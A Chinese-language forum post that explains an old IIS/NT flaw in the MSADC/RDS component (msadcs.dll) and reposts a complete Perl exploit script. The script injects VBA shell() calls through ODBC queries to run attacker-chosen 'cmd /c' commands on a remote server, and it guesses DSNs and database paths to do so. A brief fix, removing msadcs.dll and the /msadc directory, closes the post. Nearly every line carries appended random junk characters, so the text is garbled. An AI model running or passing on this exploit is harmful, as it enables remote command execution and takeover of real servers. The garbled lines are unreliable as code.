社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167223阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) lb1Xsgm{  
;jTN | i'  
涉及程序: W*w3 [_"sr  
Microsoft NT server >-{Hyx  
\D&KC,i5f  
描述: xn|(9#1o  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 u> / TE  
+d-NL?c  
详细: BL58] P84  
如果你没有时间读详细内容的话,就删除: vVcob }ZH  
c:\Program Files\Common Files\System\Msadc\msadcs.dll H 7 ^/q7  
有关的安全问题就没有了。 *_g$MI  
T9q-,w/j;  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 KCDE{za  
7T'B6`-Ox  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 R_xRp&5  
关于利用ODBC远程漏洞的描述,请参看: Jpo (Wl  
9Lfv^V0  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Fea(zJ_  
-s'-eQF J  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 d*Fj3Wkx  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8sK9G` k  
-n5)w*b,  
这里不再论述。 qb` \)X]9  
,3 u}x,  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ~.lPEA %%  
[;sRV<  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset m9}P9 ?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! w"&n?L  
uhutg,[  
$]2vvr  
#将下面这段保存为txt文件,然后: "perl -x 文件名" "8zDbdK  
%GIr&V4|  
#!perl mUx+Y]Ep  
# xFg>SJ7]  
# MSADC/RDS 'usage' (aka exploit) script ges J/I  
# ZWp(GC1NA  
# by rain.forest.puppy >~+ELVB&  
# T37XBg H  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me CQDkFQq-dq  
# beta test and find errors! t9IW/Q  
|)/aGZ+  
use Socket; use Getopt::Std; KdbHyg<4  
getopts("e:vd:h:XR", \%args); t#eTV@-  
iM 3V=&)  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; N_q|\S>t/  
DrK{}uM  
if (!defined $args{h} && !defined $args{R}) { ^\,E&=/}M  
print qq~ hqkz^!rp  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Fh9h,' V"  
-h <host> = host you want to scan (ip or domain) ^@NU}S):yN  
-d <seconds> = delay between calls, default 1 second V,N%;iB}  
-X = dump Index Server path table, if available ! #2{hQRu  
-v = verbose G9<X_  
-e = external dictionary file for step 5 mBON$sF|  
R]*K:~DM  
Or a -R will resume a command session x;<W&s}(  
5bpEYW+  
~; exit;} )q3p-)@kQ  
<dhM\^ [  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; O463I.XAP  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} W#3Q ^Z?  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} <0q;NrvUb  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); RhLVg~x  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} TBU&6M>{3  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } UN<]N76!  
c=.(!qdH  
if (!defined $args{R}){ $ret = &has_msadc; TT3|/zwn  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ~zNAbaC+>t  
N^:9Fz  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Ck7uJI<x  
. "cmd /c "; !f&g-V  
$in=<STDIN>; chomp $in; dL )<% o  
$command="cmd /c " . $in ;  l"]}Ts#  
[87,s.MK  
if (defined $args{R}) {&load; exit;} '$zIbQ:  
R`^_(yn>  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; _/5H l`  
&try_btcustmr; QWHug:c  
o`N  9!M  
print "\nStep 2: Trying to make our own DSN..."; x>`%DwoRI  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; < F+l  
H\tUpan6fy  
print "\nStep 3: Trying known DSNs..."; XFV!S#yEZ  
&known_dsn; $43qME  
HBx=\%;n  
print "\nStep 4: Trying known .mdbs..."; `XEr(e9  
&known_mdb; *N'p~LJ  
W'+:'_{j:  
if (defined $args{e}){ Qhcu>r a  
print "\nStep 5: Trying dictionary of DSN names..."; E#t>Qn  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :$BCRQ  
Ffta](Z;  
print "Sorry Charley...maybe next time?\n"; oc0G |  
exit; j+v=Ul|l  
HYSIN^<oy  
############################################################################## JQHvz9Yg  
b |p)9&^r  
sub sendraw { # ripped and modded from whisker _?0}<k Q&  
sleep($delay); # it's a DoS on the server! At least on mine... g0ly  
my ($pstr)=@_; * U=s\  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || GKc`xIQ  
die("Socket problems\n"); 7!TueP0Zd  
if(connect(S,pack "SnA4x8",2,80,$target)){ eHNyNVz  
select(S); $|=1; :mn>0jK,N  
print $pstr; my @in=<S>; tQYM&6g  
select(STDOUT); close(S); ' AEE[  
return @in; XtSkh] #z!  
} else { die("Can't connect...\n"); }} RxWVe-Dg  
p\aaJ  
############################################################################## /?F/9hL  
M>ruKHipFE  
sub make_header { # make the HTTP request G`BU=Fi  
my $msadc=<<EOT 1rF]yi:X  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 '|p$)yx2  
User-Agent: ACTIVEDATA c?&X?<  
Host: $ip _k ~KZ;l  
Content-Length: $clen 7f!YoW;1  
Connection: Keep-Alive y0.8A-2:  
0+;bh {Eu  
ADCClientVersion:01.06 F Yzi~L  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 D}8[bWF  
Tl[!=S  
--!ADM!ROX!YOUR!WORLD! .Blf5b  
Content-Type: application/x-varg kbMWGB%;  
Content-Length: $reqlen aa#Y=%^  
W~9tKT4  
EOT }"PU%+J  
; $msadc=~s/\n/\r\n/g; 5T2CISmu  
return $msadc;} 8sM|%<$=j  
4\u1TYR  
############################################################################## RA'M8:$  
@ H7d_S  
sub make_req { # make the RDS request MWpQ^dL_  
my ($switch, $p1, $p2)=@_; $ig0j`  
my $req=""; my $t1, $t2, $query, $dsn; {NFr]LGOp  
6BbGA*%{  
if ($switch==1){ # this is the btcustmr.mdb query "haL  
$query="Select * from Customers where City=" . make_shell(); 4;]hK!AXS  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . YS@ypzc/  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} hYNY"VB  
c[4i9I3v  
elsif ($switch==2){ # this is general make table query 2Mvrey)  
$query="create table AZZ (B int, C varchar(10))"; _R13f@NWB:  
$dsn="$p1";} xLWw YK  
Vjp1RWb  
elsif ($switch==3){ # this is general exploit table query ``Dq  
$query="select * from AZZ where C=" . make_shell(); lG!|{z7+0  
$dsn="$p1";} 6dN7_v)  
pg.ri64H<  
elsif ($switch==4){ # attempt to hork file info from index server J|kR5'?x  
$query="select path from scope()"; (@<c6WS  
$dsn="Provider=MSIDXS;";} :'3XAntZA  
M&@b><B  
elsif ($switch==5){ # bad query t2I5hSf  
$query="select"; %]DP#~7[|  
$dsn="$p1";} 2w_WAdi  
dzsmIV+  
$t1= make_unicode($query); _w/EP  
$t2= make_unicode($dsn); "2P&X  
$req = "\x02\x00\x03\x00"; S=<}:#;u0  
$req.= "\x08\x00" . pack ("S1", length($t1)); (-xS?8x$  
$req.= "\x00\x00" . $t1 ; Ov4y %Pj  
$req.= "\x08\x00" . pack ("S1", length($t2)); x:>wUhzZ  
$req.= "\x00\x00" . $t2 ; y8L D7<1u  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; eg?<mKrZ  
return $req;} qnJt5  
6@e+C;j =  
############################################################################## ;WM"cJo9  
Lz!,kwg  
sub make_shell { # this makes the shell() statement TI#''XCB5  
return "'|shell(\"$command\")|'";} !2A:"2Kys:  
hMUs" <.  
############################################################################## wEE\+3b)  
o/6-3QUak  
sub make_unicode { # quick little function to convert to unicode T:Hr&ws4  
my ($in)=@_; my $out; P8>d6;o($  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } YN2sd G  
return $out;} e2ilB),  
g[I b,la_a  
############################################################################## *x])Y~oQ  
Q`D~5ci  
sub rdo_success { # checks for RDO return success (this is kludge) C>$E%=h+_  
my (@in) = @_; my $base=content_start(@in); .ir<s>YM  
if($in[$base]=~/multipart\/mixed/){ Vf'd*-_!Q<  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} Fpa ;^F  
return 0;} \"^w'ng  
a /#PLP  
############################################################################## }i`PGx  
C] 9 p5Hs  
sub make_dsn { # this makes a DSN for us =%gRW5R%  
my @drives=("c","d","e","f"); 7L@K _ZJ  
print "\nMaking DSN: "; /.i.TQ]  
foreach $drive (@drives) { AvSM ^  
print "$drive: "; !+4cqO  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . ;F#7Px(q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" %8Dz o  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); !Mim@!5M  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {>,V\J0p  
return 0 if $2 eq "404"; # not found/doesn't exist mG`e3X6@-  
if($2 eq "200") { ZAUQJS 91E  
foreach $line (@results) { (v|} \?L  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} =ng\ 9y[;D  
} return 0;} \ZhfgE8{%  
x{,q]u /  
############################################################################## pT1[<X!<s  
OD 3f.fT  
sub verify_exists { %4 XJn@J  
my ($page)=@_; \&3"<6xA  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 9D}/\jM  
return $results[0];} t|!j2<e  
OY5OJ*   
############################################################################## CQr<N w  
4jBC9b}O  
sub try_btcustmr { f<*Js)k  
my @drives=("c","d","e","f"); lGk{LO)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); vZ N!Zl7S  
!F4@KAv  
foreach $dir (@dirs) { Vc%R$E%  
print "$dir -> "; # fun status so you can see progress ''^Y>k  
foreach $drive (@drives) { !\#_Jw%y  
print "$drive: "; # ditto )0e2ic/  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; xD /9F18  
$reqlenlen=length( "$reqlen" ); B Ma)O  
$clen= 206 + $reqlenlen + $reqlen; N!x =eC  
 4)4+M  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); zBp{K@U[|M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} P"?FnTbv[  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ls`,EFF  
{ "xln/  
############################################################################## 0lsXCr_X  
TO*BH^5R  
sub odbc_error { Gqcz< =/  
my (@in)=@_; my $base; CWG6;NT6m  
my $base = content_start(@in); G #T<`>T  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this sv(f;ib  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *;U'[H3Q  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; zYv#:>C8  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5P+t^\  
return $in[$base+4].$in[$base+5].$in[$base+6];} GK}'R=   
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 9F- )r'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . %Lrd6i_j  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} Bo+DJizu  
Af5D>/  
############################################################################## Rek -`ki5F  
<{:  
sub verbose { 70Yjv 1i  
my ($in)=@_; 5P h X"7  
return if !$verbose; I.@hW>k  
print STDOUT "\n$in\n";} g3sUl&K  
oi&Wo'DX  
############################################################################## &G>(9  
ia{c  
sub save { C#=bW'C  
my ($p1, $p2, $p3, $p4)=@_; " ;w}3+R  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; HXVBb%pP  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; "SoHt]%#  
close OUT;} M4LktR-[  
zT* .jv  
############################################################################## 25|8nfeC5  
9>#:/g/  
sub load { =}fd6ea(o  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Q_"\Q/=?Do  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); uH^ PQ  
@p=<IN>; close(IN); }2r+%V&4  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); a!c[!  
$target= inet_aton($ip) || die("inet_aton problems"); |m?vVLq  
print "Resuming to $ip ..."; 5[9 bWB{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 5NXt$k5  
if($p[1]==1) { OAZ#|U   
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; i_LF`JhEQT  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; &?p:3%;Dr  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $O:w(U  
if (rdo_success(@results)){print "Success!\n";} rt+..t\  
else { print "failed\n"; verbose(odbc_error(@results));}} kDYN>``biP  
elsif ($p[1]==3){ w*w?S  
if(run_query("$p[3]")){ '!Kf#@';u  
print "Success!\n";} else { print "failed\n"; }} $H'X V"<o  
elsif ($p[1]==4){ I5);jgb  
if(run_query($drvst . "$p[3]")){ q1hMmMi  
print "Success!\n"; } else { print "failed\n"; }} l t]B#, '  
exit;} ` e{BId  
2$zU&p7sV  
############################################################################## Y ZaP  
VLg EX4  
sub create_table { lZt(&^T  
my ($in)=@_; <3O T>E[  
$reqlen=length( make_req(2,$in,"") ) - 28; P8gX CX!>U  
$reqlenlen=length( "$reqlen" ); 9-bG<`v\E  
$clen= 206 + $reqlenlen + $reqlen; .Nx W=79t  
my @results=sendraw(make_header() . make_req(2,$in,"")); g42R 'E%  
return 1 if rdo_success(@results); I(n* _bFq  
my $temp= odbc_error(@results); verbose($temp); mg+k'Myo+  
return 1 if $temp=~/Table 'AZZ' already exists/; (%Oe_*e}Y  
return 0;} 2+9 2Q_+  
+ydm,aKk  
############################################################################## c 8QnN:n  
XqR{.jF.  
sub known_dsn { ._p""'Sa  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go /k7wwZiY@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", dNV v4{S  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 0%)5.=6  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 2neRJ  
K:qOoY  
foreach $dSn (@dsns) { 1}`LTPW9  
print "."; nY) .|\|i  
next if (!is_access("DSN=$dSn")); }w!ps{*  
if(create_table("DSN=$dSn")){ i@<~"~>]7  
print "$dSn successful\n"; udTxNl!  
if(run_query("DSN=$dSn")){ G79C {|c\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6;uBZ &g  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5&4F,v[zp  
#cEq_[yI  
##############################################################################  ~B@ }R  
x|apQ6  
sub is_access { S[@6Lp3q_  
my ($in)=@_; {>.>7{7  
$reqlen=length( make_req(5,$in,"") ) - 28; D$_8rHc\A  
$reqlenlen=length( "$reqlen" ); W<gD6+=8  
$clen= 206 + $reqlenlen + $reqlen; u"F;OT\>g  
my @results=sendraw(make_header() . make_req(5,$in,"")); *=^[VV!  
my $temp= odbc_error(@results); K M]Wl_z  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); FH n,]Tfx  
return 0;} -"Gl 4)  
*t =i  
############################################################################## -v*x V;[  
qU6BA \ZL  
sub run_query { -iQsi4  
my ($in)=@_; @bQ!zCI  
$reqlen=length( make_req(3,$in,"") ) - 28; .D@/y uV  
$reqlenlen=length( "$reqlen" ); `p"U  
$clen= 206 + $reqlenlen + $reqlen; )b9I@)C  
my @results=sendraw(make_header() . make_req(3,$in,"")); RUrymkHFB  
return 1 if rdo_success(@results); iH _"W+dq  
my $temp= odbc_error(@results); verbose($temp); "X?LAo  
return 0;} T^.{9F]*S  
M]s[ "0O  
############################################################################## $PfV<Yj'B  
ty;o&w$  
sub known_mdb { |2UauTp5yK  
my @drives=("c","d","e","f","g"); !`h~`-]O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bVmvjY4  
my $dir, $drive, $mdb; 'Fzuc^G(d  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7+] F^ 6  
& 3I7]Wm  
# this is sparse, because I don't know of many w2<*$~C]  
my @sysmdbs=( "\\catroot\\icatalog.mdb", KH)pJG|NY  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", hd=j56P5P  
"\\system32\\certmdb.mdb", <d<RK@2-  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }-@I#9  
- coy@S=.'  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", M7pvxChA  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 1(F'~i|5  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0eaUorm)  
"\\cfusion\\cfapps\\security\\realm_.mdb", <lX:eR1  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", @>9A$w$H|a  
"\\cfusion\\database\\cfexamples.mdb", C_89YFn+  
"\\cfusion\\database\\cfsnippets.mdb", Bzm. X=U:  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", K \m4*dOv  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", a:xgjUt&5  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _PdAN= C3  
"\\cfusion\\database\\smpolicy.mdb", I]UA0[8X  
"\\cfusion\\database\cypress.mdb", !%)L&W_  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", |<2JQ[]  
"\\website\\cgi-win\\dbsample.mdb", m4\g o  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", R=DPeUy;  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 92NC]_jw  
); #these are just {)jk_&c7  
foreach $drive (@drives) { qIUC2,&g  
foreach $dir (@dirs){ .k|-Ks|d|  
foreach $mdb (@sysmdbs) { j?d!}v  
print "."; FL~9</  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ s=}~Q&8  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -{r!M(47  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ AzW%+ LUD  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 3Y=,r!F.h  
} else { print "Something's borked. Use verbose next time\n"; }}}}} N)Qlkz$X  
$R3.yX=[\  
foreach $drive (@drives) { c[6zX#{`  
foreach $mdb (@mdbs) { F F(^:N  
print "."; gx&\Kw6HM  
if(create_table($drv . $drive . $dir . $mdb)){ 'II vub#q  
print "\n" . $drive . $dir . $mdb . " successful\n"; nN!vgn j  
if(run_query($drv . $drive . $dir . $mdb)){ V=Ww>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; sd]0Hx[  
} else { print "Something's borked. Use verbose next time\n"; }}}} d"Ml^rAn  
} CrT2#h 1#  
L)j]~^P$-  
############################################################################## B1up^(?  
/7S-|%1  
sub hork_idx { 6qY\7R2+  
print "\nAttempting to dump Index Server tables...\n"; `mQP{od?"?  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; =ulr_i%Xs  
$reqlen=length( make_req(4,"","") ) - 28; m.|qVN  
$reqlenlen=length( "$reqlen" ); _-YL!oP  
$clen= 206 + $reqlenlen + $reqlen; S]Sp Z8  
my @results=sendraw2(make_header() . make_req(4,"","")); zT2F&y q  
if (rdo_success(@results)){ o$^O<zL  
my $max=@results; my $c; my %d; (bM)Nd  
for($c=19; $c<$max; $c++){ Uv#>d}P  
$results[$c]=~s/\x00//g; ZA) SJWwD  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ]wJ}-#Kx  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; *tIdp`xT/T  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; BvNl?A@]A  
$d{"$1$2"}="";} ktkn2Twa/  
foreach $c (keys %d){ print "$c\n"; } zWP.1 aA&  
} else {print "Index server doesn't seem to be installed.\n"; }} K*J4&5?/  
sj?`7kg  
############################################################################## !- Cs?  
g>d7%FFn}  
sub dsn_dict { p3>Q<  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); H'j_<R N  
while(<IN>){ JMl ,  N  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; Y#Sd2h,^X  
next if (!is_access("DSN=$dSn")); :e5:\|5*5  
if(create_table("DSN=$dSn")){ -k|g04Q?  
print "$dSn successful\n"; S&;T_^|  
if(run_query("DSN=$dSn")){ VPq5xSc?  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { . x\/XlM  
print "Something's borked. Use verbose next time\n";}}} d&$.jk8 2  
print "\n"; close(IN);} jpPdjQ  
1"~O"msb  
############################################################################## :G6 xJlE|  
WOe{mwhhj  
sub sendraw2 { # ripped and modded from whisker qcpG}o+&D  
sleep($delay); # it's a DoS on the server! At least on mine... ~jgN_jz  
my ($pstr)=@_; oX=*MEfX  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |e.3FjTH  
die("Socket problems\n"); XSL t;zL:  
if(connect(S,pack "SnA4x8",2,80,$target)){ TV$\v@\ =  
print "Connected. Getting data"; M+;!]tbc3  
open(OUT,">raw.out"); my @in; 71}L# nQ  
select(S); $|=1; print $pstr; _7t|0aNo\  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} WsK"^"Z  
close(OUT); select(STDOUT); close(S); return @in; CBz(hCaI  
} else { die("Can't connect...\n"); }} -=v/p*v0o  
E@'CU9Fo  
############################################################################## wXIe5  
y5Z<uwXc  
sub content_start { # this will take in the server headers D!OG307P  
my (@in)=@_; my $c; Aspj*CDu  
for ($c=1;$c<500;$c++) { nEa'e5 lg  
if($in[$c] =~/^\x0d\x0a/){ q:D0$YY0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } b> >=d)R  
else { return $c+1; }}} fjz2m   
return -1;} # it should never get here actually X,C/x)  
GFy0R"&d[  
############################################################################## (dGM;Dq8  
u\Erta`  
sub funky { y[ rB"  
my (@in)=@_; my $error=odbc_error(@in); hD9' `SQ  
if($error=~/ADO could not find the specified provider/){ :g]HB ,78  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; D^T7pO  
exit;} v2W"+QS}u  
if($error=~/A Handler is required/){ hjm .Ath  
print "\nServer has custom handler filters (they most likely are patched)\n"; BW(DaNt^  
exit;}  c+G:@%  
if($error=~/specified Handler has denied Access/){ a_}BTkfHa  
print "\nServer has custom handler filters (they most likely are patched)\n"; ZF11v(n  
exit;}} ;29XvhS8  
_ UVX  
############################################################################## ?'8MI|*l%  
[(.T%kJ  
sub has_msadc { :Jsz"vCg&s  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); KWuj_.;  
my $base=content_start(@results); l2KxZteXY0  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 4- ?`#  
return 0;} `QyALcO   
%q\P'cK  
######################## i+ &lMgh  
I!i#=  
~sU! 1  
解决方案: *"9)a6T t+  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll I5<#SW\a?  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 L|xen*O  
Nz;*;BQK:  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五